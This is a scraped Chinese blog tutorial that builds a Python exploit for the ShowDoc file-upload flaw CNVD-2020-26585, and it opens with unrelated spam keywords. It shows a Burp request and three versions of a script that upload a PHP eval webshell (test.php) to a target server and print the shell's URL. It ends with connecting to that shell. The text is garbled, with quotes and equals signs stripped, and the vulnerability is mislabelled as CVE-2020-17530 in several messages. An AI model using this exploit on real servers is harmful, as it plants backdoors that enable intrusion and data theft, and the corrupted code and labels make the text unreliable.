做黑彩网站能赚钱吗,动画设计工资,全球速卖通官网,兰州网站制作成都POCEXP编写—文件上传案例 1. 前言2. 文件上传案例2.1. Burp抓包2.2. 基础代码实践2.2.1. 优化代码 2.3. 整体代码2.3.1. 木马测试 1. 前言
之前的文章基本上都是一些相对来说都是验证类的或者说是一些代码执行类的#xff0c;相对来说都不是太复杂#xff0c;而这篇会… POCEXP编写—文件上传案例 1. 前言2. 文件上传案例2.1. Burp抓包2.2. 基础代码实践2.2.1. 优化代码 2.3. 整体代码2.3.1. 木马测试 1. 前言
之前的文章基本上都是一些相对来说都是验证类的或者说是一些代码执行类的相对来说都不是太复杂而这篇会涉及到文件上传的案例很多类似于代码执行这些在编写的时候主要需要注意的就是执行完后返回来的结果如何展现出来。
还有误报的情况关于出现误报多数都是在返回的内容上判断没有做到唯一性例如phpinfo可能不单单有漏洞在返回中有这个单词还有可能正常情况下返回值也有这个单词那不就出现误报了么
2. 文件上传案例
这里我们拿的是showdoc 文件上传 cnvd-2020-26585漏洞来做测试至于漏洞的复现自行去了解这里不做复现过程。
参考showdoc 文件上传 CNVD-2020-26585复现 - 代码天地 (codetd.com)
2.1. Burp抓包
这里我们看一下Burp抓包显示的内容这里如何将内容导出来之前也说过了这里也不再赘述。
Burp中POC:
POST /index.php?s/home/page/uploadImg HTTP/1.1
Host: vulfocus.fofa.so:57700
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary--------------------------921378126371623762173617
Content-Length: 265----------------------------921378126371623762173617
Content-Disposition: form-data; nameeditormd-image-file; filenametest.php
Content-Type: text/plain?php echo 123_test;eval($_POST[cmd])?
----------------------------921378126371623762173617--2.2. 基础代码实践
这里的代码基础实现相当于木马已经上传上去了但是我们需要的是返回木马地址不然为什么要去做文件上传的EXP呢同时关于代码我也不做解释类似headers、data甚至post请求都是Burp帮你生成的剩下的代码也不复杂。
import requestsburp0_url http://123.58.224.8:25235/index.php?s/home/page/uploadImg
burp0_headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko),Accept-Encoding: gzip, deflate, Accept: */*, Connection: close,Content-Type: multipart/form-data; boundary--------------------------921378126371623762173617}
burp0_data (----------------------------921378126371623762173617\r\nContent-Disposition: form-data; name\editormd-image-file\; filename\test.php\\r\nContent-Type: text/plain\r\n\r\n?php echo 123_test;eval($_POST[cmd])?\r\n----------------------------921378126371623762173617--)
r requests.post(burp0_url, headersburp0_headers, databurp0_data)
print(r.text)
if http: in r.text and Public in r.text:print(f[]存在CVE-2020-17530远程命令执行漏洞)
else:print(f[-]不存在CVE-2020-17530远程命令执行漏洞)这里也能看出来返回了一条带有URL地址的返回内容但是这个地址我们还需要手动修改比较麻烦那么有没有什么办法解决了
2.2.1. 优化代码
这里就是加入了json()解析将内容解析成好理解的方式但是根据不通的返回内容可能需要做其他的一些操作才能够实现而这里相对来说简单一点。
import requestsburp0_url http://123.58.224.8:25235/index.php?s/home/page/uploadImg
burp0_headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko),Accept-Encoding: gzip, deflate, Accept: */*, Connection: close,Content-Type: multipart/form-data; boundary--------------------------921378126371623762173617}
burp0_data (----------------------------921378126371623762173617\r\nContent-Disposition: form-data; name\editormd-image-file\; filename\test.php\\r\nContent-Type: text/plain\r\n\r\n?php echo 123_test;eval($_POST[cmd])?\r\n----------------------------921378126371623762173617--)
r requests.post(burp0_url, headersburp0_headers, databurp0_data)
print(r.text)
if http: in r.text and Public in r.text:json r.json() ## 解析JSON响应file_url json[url] ## 提取并格式化URLprint(file_url) ##可删除测试使用formatted_url file_url.replace(\\/, /) ## 如果需要将反斜杠替换为斜杠print(f[]存在CVE-2020-17530远程命令执行漏洞,上传的文件url为:{formatted_url})
else:print(f[-]不存在CVE-2020-17530远程命令执行漏洞)2.3. 整体代码
这里的整体代码就是添加上相关的一些选项以及一些输入输出而这个并非是最好的代码例如没对用户输入的内容进行二次格式化或者控制输入的内容或者说添加一些代理池、线程池等等~~
这些就靠自己添加吧。
import argparse
import requests
import sysdef exp(url, port):payload /index.php?s/home/page/uploadImgurl1 f{url}:{port}{payload}headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko),Accept-Encoding: gzip, deflate, Accept: */*, Connection: close,Content-Type: multipart/form-data; boundary--------------------------921378126371623762173617}data (----------------------------921378126371623762173617\r\nContent-Disposition: form-data; name\editormd-image-file\; filename\test.php\\r\nContent-Type: text/plain\r\n\r\n?php echo 123_test;eval($_POST[cmd])?\r\n----------------------------921378126371623762173617--)try:r requests.post(url1, headersheaders, datadata, verifyFalse, timeout5, allow_redirectsFalse)if http: in r.text and Public in r.text:json r.json()file_url json[url]formatted_url file_url.replace(\\/, /)print(f[]{url}存在showdoc文件上传 CNVD-2020-26585 漏洞)print(f木马访问地址:{formatted_url})else:print(f[-]{url}不存在showdoc文件上传 CNVD-2020-26585 漏洞)except Exception as e:print(f[-]{url}存在异常请检查)sys.exit(1)def main():banner ## ### # # ## ### ### ### ### ### ### ### ### ###
# # # # # # # # # # # # # # # # # # #
# # # # # # # ### ### # # ### # # ### ### ### ### ### ###
# # # # # # # # # # # # # # # # # # # # ## # # # ## ### ### ### ### ### ### ### ### ###print(banner)print(Vulnerability version: 2.8.3 以下版本)parser argparse.ArgumentParser()parser.add_argument(-u, desturl, requiredTrue, typestr, defaultNone, helpVulnerability IP)parser.add_argument(-p, destport, requiredFalse, typeint, default80,helpThe default vulnerability port is 80)args parser.parse_args()exp(args.url, args.port)if __name__ __main__:main() 2.3.1. 木马测试
链接参数 输入相关的链接参数后就可以使用添加链接了可以看到是成功链接上来了。